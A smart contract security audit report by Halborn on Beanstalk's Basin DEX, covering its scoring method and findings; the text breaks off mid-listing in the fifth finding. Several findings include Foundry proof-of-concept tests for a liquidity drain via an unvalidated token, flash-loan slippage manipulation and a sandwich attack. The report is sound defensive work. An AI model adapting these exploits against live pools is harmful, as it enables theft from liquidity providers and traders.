



# Beanstalk - Basin

## Smart Contract Security Audit

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Date of Engagement: January 19th, 2023 - April 19th, 2023

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## DOCUMENT REVISION HISTORY

| VERSION | MODIFICATION            | DATE       | AUTHOR             |
|---------|-------------------------|------------|--------------------|
| 0.1     | Document Creation       | 02/21/2023 | Miguel Jalon       |
| 0.2     | Document Edits          | 02/23/2023 | Luis Buendia       |
| 0.3     | Final Draft             | 02/23/2023 | Miguel Jalon       |
| 0.4     | Draft Review            | 02/25/2023 | Ataberk Yavuzer    |
| 0.5     | Draft Review            | 02/25/2023 | Piotr Cielas       |
| 0.6     | Document Edits          | 04/19/2023 | Miguel Jalon       |
| 0.7     | Draft Review            | 04/20/2023 | Grzegorz Trawinski |
| 0.8     | Draft Review            | 04/20/2023 | Piotr Cielas       |
| 0.9     | Draft Review            | 04/21/2023 | Gabi Urrutia       |
| 1.0     | Remediation Plan        | 06/16/2023 | Miguel Jalon       |
| 1.1     | Remediation Plan Review | 06/16/2023 | Grzegorz Trawinski |
| 1.2     | Remediation Plan Review | 06/16/2023 | Piotr Cielas       |
| 1.3     | Remediation Plan Review | 06/16/2023 | Gabi Urrutia       |

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# EXECUTIVE OVERVIEW

## 1.1 INTRODUCTION

Basin is a zero-fee decentralized exchange (DEX) created by Beanstalk for the community.

It allows users to create different types of pools or Wells with custom amounts of tokens, as well as custom functions for liquidity additions, removals, and swaps. With Basin, Beanstalk users can swap tokens without incurring any protocol fees. In addition, liquidity providers can enjoy other advantages in the protocol, such as earning seigniorage instead of fees from pool users.

Furthermore, Beanstalk also created Pumps. The Pumps are updating oracles, providing real time updates every time there is a change in a Basin of reserves. This information stored in a different kind of oracles can be used by the protocol to share their seigniorage to the liquidity providers depending on their value stored in the Basin, but also for other protocols that can also be use it if they need the current on-chain price of some of their assets.

Beanstalk engaged Halborn to conduct a security audit on their smart contracts beginning on January 19th, 2023 and ending on February 23rd, 2023 for the [Basin Audit](#) and beginning March 22nd, 2023 and ending on April 19th for the [Aquifer & Pumps Audit](#) enhancement. The security assessment was scoped to the smart contracts provided to the Halborn team.

## 1.2 AUDIT SUMMARY

The team at Halborn was provided a total of 8 weeks for the engagement and assigned a full-time security engineer to audit the security of smart contracts, 4 weeks for the Basin and 4 weeks for the Pumps and Aquifer smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some issues that were mostly addressed by the Beanstalk team.

### 1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the contracts' solidity code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing with custom scripts. ([Foundry](#)).
- Static Analysis of security for scoped contract, and imported functions manually.
- Testnet deployment ([Anvil](#)).

## 2. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets of Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

## 2.1 EXPLOITABILITY

### Attack Origin (AO):

Captures whether the attack requires compromising a specific account.

### Attack Cost (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

### Attack Complexity (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

### Metrics:

| Exploitability Metric<br>( $m_E$ ) | Metric Value     | Numerical Value |
|------------------------------------|------------------|-----------------|
| Attack Origin (AO)                 | Arbitrary (AO:A) | 1               |
|                                    | Specific (AO:S)  | 0.2             |
| Attack Cost (AC)                   | Low (AC:L)       | 1               |
|                                    | Medium (AC:M)    | 0.67            |
|                                    | High (AC:H)      | 0.33            |
| Attack Complexity (AX)             | Low (AX:L)       | 1               |
|                                    | Medium (AX:M)    | 0.67            |
|                                    | High (AX:H)      | 0.33            |

Exploitability  $E$  is calculated using the following formula:

$$E = \prod m_e$$

## 2.2 IMPACT

### Confidentiality (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

### Integrity (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

### Availability (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

### Deposit (D):

Measures the impact to the deposits made to the contract by either users or owners.

### Yield (Y):

Measures the impact to the yield generated by the contract for either users or owners.

Metrics:

| Impact Metric<br>( $m_I$ ) | Metric Value   | Numerical Value |
|----------------------------|----------------|-----------------|
| Confidentiality (C)        | None (I:N)     | 0               |
|                            | Low (I:L)      | 0.25            |
|                            | Medium (I:M)   | 0.5             |
|                            | High (I:H)     | 0.75            |
|                            | Critical (I:C) | 1               |
| Integrity (I)              | None (I:N)     | 0               |
|                            | Low (I:L)      | 0.25            |
|                            | Medium (I:M)   | 0.5             |
|                            | High (I:H)     | 0.75            |
|                            | Critical (I:C) | 1               |
| Availability (A)           | None (A:N)     | 0               |
|                            | Low (A:L)      | 0.25            |
|                            | Medium (A:M)   | 0.5             |
|                            | High (A:H)     | 0.75            |
|                            | Critical       | 1               |
| Deposit (D)                | None (D:N)     | 0               |
|                            | Low (D:L)      | 0.25            |
|                            | Medium (D:M)   | 0.5             |
|                            | High (D:H)     | 0.75            |
|                            | Critical (D:C) | 1               |
| Yield (Y)                  | None (Y:N)     | 0               |
|                            | Low (Y:L)      | 0.25            |
|                            | Medium (Y:M)   | 0.5             |
|                            | High (Y:H)     | 0.75            |
|                            | Critical (Y:H) | 1               |

Impact  $I$  is calculated using the following formula:

$$I = \max(m_I) + \frac{\sum m_I - \max(m_I)}{4}$$

## 2.3 SEVERITY COEFFICIENT

Reversibility (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

Scope (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

| Coefficient<br>(C) | Coefficient Value | Numerical Value |
|--------------------|-------------------|-----------------|
| Reversibility (r)  | None (R:N)        | 1               |
|                    | Partial (R:P)     | 0.5             |
|                    | Full (R:F)        | 0.25            |
| Scope (s)          | Changed (S:C)     | 1.25            |
|                    | Unchanged (S:U)   | 1               |

Severity Coefficient  $C$  is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score  $S$  is obtained by:

$$S = \min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

| Severity      | Score Value Range |
|---------------|-------------------|
| Critical      | 9 - 10            |
| High          | 7 - 8.9           |
| Medium        | 4.5 - 6.9         |
| Low           | 2 - 4.4           |
| Informational | 0 - 1.9           |

## 2.4 SCOPE

The first half of the security assessment was scoped to the following smart contracts on the [Basin](#) branch:

- Well.sol
- Auger.sol
- ImmutableWellFunction.sol
- ImmutableTokens.sol
- ImmutablePumps.sol
- LibBytes.sol
- LibMath.sol
- ConstantProduct2.sol

Commit ID: [7c498215f843620cb24ec5bbf978c6495f6e5fe4](#)

Fixed Commit ID: [e5441fc78f0fd4b77a898812d0fd22cb43a0af55](#)

The second half of the security assessment was scoped to the following smart contracts on the [Pumps & Aquifer](#) branch:

- Aquifer.sol
- GeoEmaAndCumSmaPump.sol
- ABDKMathQuad.sol
- LibBytes.sol
- LibBytes16.sol
- LibContractInfo.sol
- LibLastReserveBytes.sol
- LibWellConstructor.sol

Commit ID: [e5441fc78f0fd4b77a898812d0fd22cb43a0af55](#)

### 3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW


| CRITICAL | HIGH | MEDIUM | LOW | INFORMATIONAL |
|----------|------|--------|-----|---------------|
| 1        | 1    | 3      | 1   | 4             |

# EXECUTIVE OVERVIEW

| SECURITY ANALYSIS   | RISK LEVEL          | REMEDIATION DATE    |
|---|---------------------|---------------------|
| LIQUIDITY DRAIN WITH AN UNAUTHORISED TOKEN  | Critical (10)       | SOLVED - 03/10/2023 |
| SLIPPAGE MANIPULATION   | High (8.8)          | RISK ACCEPTED       |
| USING HIGH TOKEN AMOUNTS IN WELLS CONTRACT LEADS TO DENIAL OF SERVICE                           | Medium (6.7)        | SOLVED - 03/10/2023 |
| OPPORTUNITY FOR MEV ATTACKS   | Medium (6.2)        | SOLVED - 03/10/2023 |
| FEE(/BURN)-ON-TRANSFER TOKENS NOT SUPPORTED   | Medium (5.9)        | SOLVED - 03/10/2023 |
| MISSING TOKEN ARRAY LENGTH CONTROL IN THE CONSTRUCTOR CAN PREVENT ADDING AND REMOVING LIQUIDITY | Low (3.1)           | ACKNOWLEDGED        |
| UNNECESSARY TYPE CASTING  | Informational (0.0) | SOLVED - 03/10/2023 |
| USE SAFE TAG IN INLINE ASSEMBLY CODE SECTIONS   | Informational (0.0) | ACKNOWLEDGED        |
| USE CUSTOM ERRORS TO SAVE GAS   | Informational (0.0) | SOLVED - 03/10/2023 |
| UNNEEDED INITIALIZATION OF INTEGER VARIABLES TO 0   | Informational (0.0) | SOLVED - 03/9/2023  |



# FINDINGS & TECH DETAILS



## 4.1 (HAL-01) LIQUIDITY DRAIN WITH AN UNAUTHORISED TOKEN - CRITICAL(10)

### Description:

The `Well.sol` contract does not correctly validate the address provided as a parameter to the swap functions, which allows for the exchange of tokens that are not included in the well storage.

The issue was discovered in the `swapTo` function. However, other functions may have used to perform swaps on the contract are also vulnerable. These other functions are:

- `swapFrom()`
- `swapOut()`
- `swapIn()`

The vulnerability arises from the validation performed by the internal function `_getIJ`. This function takes the array of tokens stored in the Well contract and the two addresses introduced by the user on the swap function. However, the function does not revert when it is unable to find one of those addresses. Instead, it returns the zero index, which is actually a valid index for a token that exists in the storage.

Code Location:

Code Section - Well.sol#L195

**Listing 1: Well.sol (Line 195)**

```

186     function swapTo(
187         IERC20 fromToken,
188         IERC20 toToken,
189         uint maxAmountIn,
190         uint amountOut,
191         address recipient
192     ) external nonReentrant returns (uint amountIn) {
193         IERC20[] memory _tokens = tokens();
194         uint[] memory reserves = _updatePumps(_tokens.length);
195         (uint i, uint j) = _getIJ(_tokens, fromToken, toToken);
196
197         reserves[j] -= amountOut;
198         uint reserveIBefore = reserves[i];
199         reserves[i] = _calcReserve(wellFunction(), reserves, i,
200             totalSupply());
200
201         // Note: The rounding approach of the Well function
202         // determines whether
203         // slippage from imprecision goes to the Well or to the
204         // User.
205         amountIn = reserves[i] - reserveIBefore;
206
207         require(amountIn <= maxAmountIn, "Well: slippage");
208         _setReserves(reserves);
209         _executeSwap(fromToken, toToken, amountIn, amountOut,
210             recipient);
211     }

```

Code Section - Well.sol#L571-L573

**Listing 2: Well.sol (Lines 571,572,573)**

```

566     function _getIJ(
567         IERC20[] memory _tokens,
568         IERC20 iToken,
569         IERC20 jToken
570     ) internal pure returns (uint i, uint j) {
571         for (uint k; k < _tokens.length; ++k) {

```

```

572             if (_iToken == _tokens[k]) i = k;
573         else if (_jToken == _tokens[k]) j = k;
574     }
575 }
```

### Proof Of Concept:

The Foundry test provided below simulates exploitation of the described issue. The test case performs the following steps:

1. Create a well with two different tokens.
2. `User4` deposits  $10e18$  of each token on the well.
3. `User1` swaps  $10e18$  of a token not used in the well for a token that exists in the well.
4. Finally, the test performs the appropriate asserts to ensure the transaction has performed correctly.

**Listing 3: Tester.t.sol**

```

1   function testRandomTokenTransfer() public {
2       IERC20[] memory ltokens = new IERC20[](2);
3       ltokens[0] = tokens[0];
4       ltokens[1] = tokens[1];
5       Call[] memory _pumps = new Call[](0);
6       well = Well(auger.bore( 'MyWell', 'WL', ltokens, Call(
7           address(new ConstantProduct2()), new bytes(0)), _pumps));
8       tokens[0].mint(user4, 10 ether);
9       tokens[1].mint(user4, 10 ether);
10      tokens[4].mint(user1, 10 ether);
11
12      uint[] memory tokenAmountsIn = new uint[](2);
13      tokenAmountsIn[0] = 10 ether;
14      tokenAmountsIn[1] = 10 ether;
15
16      vm.startPrank(user4);
17      tokens[0].approve(address(well), 10 ether);
18      tokens[1].approve(address(well), 10 ether);
19      well.addLiquidity(tokenAmountsIn, 0, user4);
20      vm.stopPrank();
```

```

21
22     uint[] memory reservesPrev = well.getReserves();
23
24     vm.startPrank(user1);
25     tokens[4].approve(address(well), 10 ether);
26     well.swapTo( tokens[4], tokens[0], 10 ether, 10 ether,
27     user1 );
28     vm.stopPrank();
29
30     uint[] memory reserves = well.getReserves();
31
32     assertEq(tokens[0].balanceOf(address(well)), 0);
33     assertEq(tokens[4].balanceOf(address(well)), 10 ether);
34     assertEq(reservesPrev[0], 10 ether);
35     assertEq(reserves[0], 10 ether);
36     assertEq(tokens[0].balanceOf(user1), 10 ether);
37 }
```

In the end, the test ensures that the well does not have balance of the token that it should, also checks that the user received the tokens from the well. As it is possible to observe in the next screenshot, the test succeeds completing the exploitation.

```

PS C:\Users\user\Downloads\Exploit\Wells> forge test --match-test testRandomTokenTransfer -vvv
[.] Compiling...
[.] Compiling 1 files with 0.8.17
[.] Solc 0.8.17 finished in 4.48s
Compiler run successful

Running 1 test for test/Audit tests/Tester.t.sol:Tester
[PASS] testRandomTokenTransfer() (gas: 4560918)
Test result: ok. 1 passed; 0 failed; finished in 5.42ms
```

BVSS:

A0:A/AC:L/AX:L/C:N/I:H/A:H/D:L/Y:N/R:N/S:U (10)

Recommendation:

Consider reverting a transaction when a token address introduced by parameter is not in the Well storage.

## FINDINGS & TECH DETAILS


### Remediation Plan:

**SOLVED:** The Beanstalk team solved the issue by adding a check whether the token is valid in commit `e5441fc7`.

## 4.2 (HAL-02) SLIPPAGE MANIPULATION - HIGH (8.8)

Description:

The slippage in the swaps can be manipulated with the `addLiquidity()` function:



However, the slippage can be manipulated: either with a Flash Loan or large capital, a user can use the `addLiquidity` function (B1) to move the

curve further from the axis (see the picture) and then execute the `Swap` (`B2`) and finally remove the liquidity (`B3`).

The result is that the swapper bypasses the slippage (or at least part of it) and all the amount the swapper is saving through the swap is, in fact, lost by the liquidity providers, who are in a worse position when removing the liquidity.

#### Proof of Concept:

Fuzzing tests were performed to find optimal parameters to proceed with the slippage manipulation.

The test was performed as follows:

- The scenario is a Well of 2 tokens with a specific market value: `xToken` that worth 1 dollar, and `yToken` that worth 2 dollars.
- A Liquidity Provider adds a specific amount of tokens (`amount2` in the test, 1st parameter fuzzed) to a `Well` of `xToken` and `yToken` in a 2/1 ratio.
- Alice executes a swap from `xToken` to `yToken` of a specific amount (`amountIn`, 2nd parameter fuzzed)
- Then, is checked the total value of Alice tokens after the `swap`, which is: 299910251607372057573202.
- Later, the 2nd scenario is set and Alice starts a mocked flash loan of a specific amounts (`flashAmountY`, 3rd parameter fuzzed).
- Alice `addLiquidity` of all the value from the flash loan.
- Then, the `Swap` is executed with the same `amountIn`.
- Finally, Alice `removeLiquidity` and the loan is paid back.
- The total amount from the `swap` is 299999999999802452239009, instead of  $3 \times 10^{23}$  so the slippage is negligible.

The following screenshot illustrates how the fuzzing test was performed:

```

275     function testFuzzSlippageManipulationX(uint128 amount2, uint128 amountIn, uint128 flashAmountY) public {
276         if (amount2 >= 10_000_0000000000000000000000000000
277             && amountIn >= 10_000_0000000000000000000000000000
278             && flashAmountY >= 10_000_0000000000000000000000000000
279             && amount2 <= 1_000_000_00000000000000000000000000
280             && amountIn <= 100_000_0000000000000000000000000000
281             && flashAmountY <= 1_000_000_00000000000000000000000000){
282             // ----- SETUP -----
283             // token 1 (xToken) worth 15
284             // token 2 (yToken) worth 25
285             amount1 = 2 * amount2;
286             minAmountOut = 1;
287             xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minAmountOut);
288             uint256 value1 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
289
290             // ----- SCENARIO 1 -----
291             uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);
292             uint256 value3 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
293             console.log("Total token value in $$$: ", value3);
294
295             // SWAP IS REVERTED
296             xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), amountIn, 1, alice);
297
298             // ----- SCENARIO 2 -----
299             console.log("----- SCENARIO 2 -----");
300
301             // ALICE RECEIVES A FLASHLOAN
302             vm.startPrank(floan);
303             uint256 flashAmountX = 2 * flashAmountY;
304             xToken.transfer(alice, flashAmountX);
305             yToken.transfer(alice, flashAmountY);
306             vm.stopPrank();
307
308             // ALICE ADDS BIG AMOUNT OF LIQUIDITY
309             xAddLiq(address(alice), xTokenAdd, yTokenAdd, flashAmountX, flashAmountY, minAmountOut);
310
311             // ALICE PERFORMS THE SAME SWAP
312             swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);
313
314             // ALICE REMOVES LIQUIDITY AND PAYS THE FLASHLOAN
315             xRemLiq(well.balanceOf(alice), 1, 1, alice);
316             vm.startPrank(alice);
317             xToken.transfer(floan, flashAmountX);
318             yToken.transfer(floan, flashAmountY);
319             vm.stopPrank();
320
321             uint256 value2 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
322             console.log("Total token value in $$$ with Normal Swap -----> ", value3);
323             console.log("Total token value in $$$ with Slippage Manipulation -----> ", value2);
324             if (value2 > value3) {console.log("DIF: ", value2 - value3);}
325             console.log("REL_DIF: ", value2 * 1e18 / value1);
326
327             logTokenComplexBalances();
328             if ((value2 * 1e18 / value1) > 99999999998100000) {
329                 revert();
330             }
331
332         }
333     }

```

Arguments used:

- amount2 = 572055\_274345744696904184
- amountIn = 10178\_190357730689611534
- flashAmountY = 14061\_130890796777584981

The screenshot below results outcome of the attack:

Test result: FAILED. 0 passed; 1 failed; finished in 16.19s

BVSS:

A0:A/AC:L/AX:L/C:N/I:H/A:N/D:M/Y:N/R:N/S:U (8.8)

Recommendation:

A solution to this issue is to introduce a limit for the `addLiquidity()` and `removeLiquidity()` functions. For example, a require function in the functions that only allows executing if the LP tokens `amountIn` is bigger than `well.totalSupply` divided by 1000. Therefore, users can only retire or add a maximum of `0.1%` of what is in that time in the `Well`.

Remediation Plan:

**RISK ACCEPTED:** The Beanstalk team accepted the risk of this issue, trusting market efficiency in the protocol.

## 4.3 (HAL-03) USING HIGH TOKEN AMOUNTS IN WELLS CONTRACT LEADS TO DENIAL OF SERVICE - MEDIUM (6.7)

Description:

If a high amount of tokens is deposited in a Well either because it is frequently used or because the tokens are very cheap, the precision of `1e18` used in the `calcTokenSupply` eventually leads to an overflow since the `totalSupply` of LP tokens is too high.

Code Location:

Listing 4: ConstantProduct2.sol (Lines 25,32)

```
25     uint constant EXP_PRECISION = 1e18;
26
27     /// @dev `s = (b_0 * b_1)^(1/2) * 2^
28     function calcLpTokenSupply(
29         uint[] calldata reserves,
30         bytes calldata
31     ) external override pure returns (uint lpTokenSupply) {
32         lpTokenSupply = (reserves[0]*reserves[1]*EXP_PRECISION).
33         sqrt() * 2;
34     }
```

BVSS:

A0:A/AC:L/AX:M/C:N/I:N/A:H/D:M/Y:M/R:N/S:U (6.7)

## Proof Of Concept:

For the proof of concept, let's say that a Well is created with 2 tokens: `xToken` and `yToken` such that `yToken` is worth twice as much as `xToken`. These tokens are worth `0.0000001$` and `0.0000002$` respectively (in the order of BitTorrent value, for example).

Over time, the Well is feed by the community by a total amount of 400 Billion of `xToken` and 200 Billion of `yToken`. Then, a big liquidity provider, Alice, wanted to `addLiquidity` adding 100 Billion of `xToken` and 500 Billion of `yToken` which has a total worth of `20000$`. When the `addLiquidity()` function is called, the transaction reverts because of the arithmetic overflow error in the `calcLpTokenSupply()` function.

Here is the `testAddLiquidityInflated()` test:

```
// ----- VULN (DOES IN WELLS WITH HIGH TOKEN AMOUNTS) -----
647 function testAddLiquidityInflated() public {
648     // SETUP LIQUIDITY PROVIDER ADDING LIQUIDITY
649     amount1 = 400_000_000_000_00000000000000000000;
650     amount2 = 200_000_000_000_000000000000000000;
651     lpAmountOut = 565_685_424_949_238_019_520_000000000000000000;
652     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
653
654     // LOGS OF BALANCES AND CHECKS IF ALL WORKED AS EXPECTED
655     logTokenComplexBalances();
656     assertLt(lpAmountOut, well.balanceOf(liqPr));
657     uint256 op = (amount1 * amount2 * 1e18).sqrt() * 2;
658     assertEq(well.balanceOf(liqPr), op);
659     console.log("LIQPR LP TOKENS: ", well.balanceOf(liqPr));
660
661     // ALICE TRIES TO ADD LIQUIDITY (REVERTS)
662     amount1 = 100_000_000_000_00000000000000000000;
663     amount2 = 50_000_000_000_00000000000000000000;
664     lpAmountOut = 141_421_356_237_309_504_880_000000000000000000;
665     xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
666
667     // LOGS OF BALANCES AND CHECKS IF ALL WORKED AS EXPECTED
668     logTokenComplexBalances();
669     assertLt(lpAmountOut, well.balanceOf(liqPr));
670     op = (amount1 * amount2 * 1e18).sqrt() * 2;
671     assertEq(well.balanceOf(liqPr), op);
672     console.log("ALICE LP TOKENS: ", well.balanceOf(alice));
673 }
```

Here is the output of the test:

### Recommendation:

The problem is in the precision, which is 1e18. However, if the precision is reduced too much, then the minimum amount to add liquidity (1e-18 of LP tokens) could be very expensive for the provider. The challenge is to find a balance or, in fact, choose another kind of solution that other DEXs are using:

- First of all, the `Well` contract should send specific amount of tokens to the address zero as share to `address(0)`. With this solution, the pool is also harder to be out of liquidity, and also can have less slippage in the swaps.
- Secondly, in the following `addLiquidity()` function, the `lpAmountOut` variable has to be related to the `totalSupply` LP tokens as, for example, Uniswap V2 is doing.

### Remediation Plan:

**SOLVED:** The Beanstalk team fixed the issue by changing the EXP\_PRECISION from 1e18 to 1e12 in commit [e5441fc7](#).

## 4.4 (HAL-04) OPPORTUNITY FOR MEV ATTACKS - MEDIUM (6.2)


### Description:

The fact that Wells are zero-fee liquidity pools makes them vulnerable to certain types of MEV (Miner Extractable Value) attacks. In other cases, fees paid to liquidity providers can prevent such attacks, as they make them more expensive and reduce incentives. The protocol needs to include measures to make it more difficult to execute these types of attacks. Furthermore, when combined with the lack of precautions against MEV attacks, the slippage manipulation bug -which is explained below in the report (HAL-04 SLIPPAGE MANIPULATION)- makes it easier to perform an advanced sandwich attack. This combines swaps with addLiquidity and removeLiquidity, squeezing the victim into a worse price. Additionally, the slippage is controlled by the user, so it is possible to make a profit by executing these attacks.

### Proof of Concept:

A Well with `xTokens` and `yTokens` is deployed. First of all, a `LiquidityProvider` adds liquidity to the protocol of 100 million for both tokens (we can imagine for the sake of the value stolen, that the tokens are worth \$1).

The second step is that Bobby wants to execute a `swap` from `xToken` to get `yToken` and the amount is a 2% of the pool. Then, Bobby needs to calculate the expected output and adding a Slippage Tolerance to it and then sends the transaction.



When the transaction is in the mempool, Alice, who executes MEV attack, the transaction and executes the frontrunning attack taking benefit from the Slippage Manipulation.

- Alice `addLiquidity` to the Well (`Add`)
- Executes a `swap` in the same direction as the victim (`Sw1`)
- The victim, Bobby, `swap` his tokens correctly because the `slippage tolerance parameter` works properly. (`SwB`)
- Then executes an inverted `swap`. (`Sw2`)
- Alice `removesLiquidity` and `repays` the loan. (`Rmv`)

This is the PoC in code:

```

266     function testAdvancedFlashloanAttackk() public {
267
268     uint256 liqPrValue1 = xToken.balanceOf(liqPr) + yToken.balanceOf(liqPr);
269     uint256 bobbyValue1 = xToken.balanceOf(bobby) + yToken.balanceOf(bobby);
270
271     uint256 initialAmount = 100_000_000_0000000000000000;
272     // uint256 loanAmount
273
274     minAmountOut = 1;
275     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, initialAmount, initialAmount, minAmountOut);
276
277     uint256 aliceValue1 = xToken.balanceOf(alice) + yToken.balanceOf(alice);
278     // BOBBY WANTED TO DO SWAP BY 1/50 OF THE POOL AMOUNT
279     // BOBBY CALCULATE THE SLIPPAGE OF 0.2% AND ADDS AN ADITIONAL 0.02% OF SLIPPAGE TOLERANCE
280
281     amountIn = initialAmount * 2 / 100;
282     uint256 expectedAmountOut = well.getSwapOut(IERC20(xToken), IERC20(yToken), amountIn);
283     minAmountOut = expectedAmountOut - (expectedAmountOut * 2 / 10000);
284     console.log(minAmountOut);
285
286     // THE TX BELOW IS IN THE MEMPOOL
287     // swap = xSwapFrom(IERC20(xToken), IERC20(yToken), amountIn, minAmountOut, bobby);
288
289     // ALICE PERFORM AN ADVANCED SANDWICH ATTACK
290     uint256 attackLiquidityAmount = initialAmount * 3;
291
292     // ALICE ADDS LIQUIDITY AND PERFORMS A SWAP IN SAME DIRECTION AS VICTIM
293     xAddLiq(address(alice), xTokenAdd, yTokenAdd, attackLiquidityAmount, attackLiquidityAmount, 1);
294     uint256 swapTurn = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn * 3 / 2, 1, alice);
295
296     // BOBBY PERFORMS A SWAP
297     uint256 swap = xSwapFrom(IERC20(xToken), IERC20(yToken), amountIn, minAmountOut, bobby);
298     console.log(swap);
299
300     // ALICE PERFORMS A SWAP IN OPPOSITE DIRECTION AND REMOVES LIQUIDITY
301     xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), swapTurn, 1, alice);
302     xRemLiq(well.balanceOf(alice), 1, 1, alice);
303
304     uint256 aliceValue2 = xToken.balanceOf(alice) + yToken.balanceOf(alice);
305     console.log(aliceValue1);
306     console.log(aliceValue2);
307     console.log("alice final output ", aliceValue2 - aliceValue1);
308     // OUTPUT: 35087_332050544752041067 OF VALUE STOLEN
309     // 22024079948077582073945
310
311     xRemLiq(well.balanceOf(liqPr), 1, 1, liqPr);
312     uint256 liqPrValue2 = xToken.balanceOf(liqPr) + yToken.balanceOf(liqPr);
313     console.log(liqPrValue1);
314     console.log(liqPrValue2);
315     console.log("liqpr final output -", liqPrValue2 - liqPrValue1);
316
317     uint256 bobbyValue2 = xToken.balanceOf(bobby) + yToken.balanceOf(bobby);
318     console.log(bobbyValue1);
319     console.log(bobbyValue2);
320     console.log("bobby final output -", bobbyValue1 - bobbyValue2);
321
322 }
```

The output is that Alice is stealing \$30k-\$40k from liquidity providers and from Bobby, which is not too much while talking about transactions of millions, but at least something to take into consideration and a source of possible further vulnerabilities. In fact, in case that any user have a mistake with the slippage tolerance parameter, the problem would be incremented and not only the user but also the providers would

be affected.

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:L/D:M/Y:L/R:N/S:U (6.2)

Recommendation:

- Adding a `deadline modifier` to the swaps to make it difficult to be frontrun.
- Adding a limit to `addLiquidity` and `removeLiquidity` to prevent Slippage Manipulation
- And probably including a `minimal fee` for the pools or for the users to make more difficult to take value from users' transactions.

Remediation Plan:

**SOLVED:** The `Beanstalk team` attenuated the issue by adding a `deadline modifier` to the swaps in commit `e5441fc7`

## 4.5 (HAL-05) FEE(/BURN)-ON-TRANSFER TOKENS NOT SUPPORTED - MEDIUM (5.9)

### Description:

When a Well is deployed with feeOnTransfer or burnOnTransfer tokens, and a user executes a swap, the reserves are updated with the `amountIn` or `amountOut` passed as a parameter, without verifying that those tokens are properly received. Therefore, if the `transfer()` function does not send the entire amount to the Well, problems may arise in both calculating liquidity and managing the reserves, which may affect all Well functionalities.

Here's a list of this kind of tokens:

- Safemoon (SAFEMOON)
- Bonfire (BONFIRE)
- HODL (HODL)
- ELONGATE (ELONGATE)
- EverRise (RISE)
- Baby Cake (BABYCAKE)
- Dogelon Mars (ELON)

### Code Location:

**Listing 5: Well.sol (Line 150)**

```

139     function swapFrom(
140         IERC20 fromToken,
141         IERC20 toToken,
142         uint amountIn,
143         uint minAmountOut,
144         address recipient
145     ) external nonReentrant returns (uint amountOut) {
146         IERC20[] memory _tokens = tokens();
147         uint[] memory reserves = _updatePumps(_tokens.length);
148         (uint i, uint j) = _getIJ(_tokens, fromToken, toToken);
149
150         reserves[i] += amountIn;

```

```

151         uint reserveJBefore = reserves[j];
152         reserves[j] = _calcReserve(wellFunction(), reserves, j,
153                                     totalSupply());
154         // Note: The rounding approach of the Well function
155         // determines whether
156         // slippage from imprecision goes to the Well or to the
157         // User.
158         amountOut = reserveJBefore - reserves[j];
159
160         require(amountOut >= minAmountOut, "Well: slippage");
161         _setReserves(reserves);
162         _executeSwap(fromToken, toToken, amountIn, amountOut,
163                      recipient);
164     }

```

**Listing 6: Well.sol (Line 197)**

```

186     function swapTo(
187         IERC20 fromToken,
188         IERC20 toToken,
189         uint maxAmountIn,
190         uint amountOut,
191         address recipient
192     ) external nonReentrant returns (uint amountIn) {
193         IERC20[] memory _tokens = tokens();
194         uint[] memory reserves = _updatePumps(_tokens.length);
195         (uint i, uint j) = _getIJ(_tokens, fromToken, toToken);
196
197         reserves[j] -= amountOut;
198         uint reserveIBefore = reserves[i];
199         reserves[i] = _calcReserve(wellFunction(), reserves, i,
200                                     totalSupply());
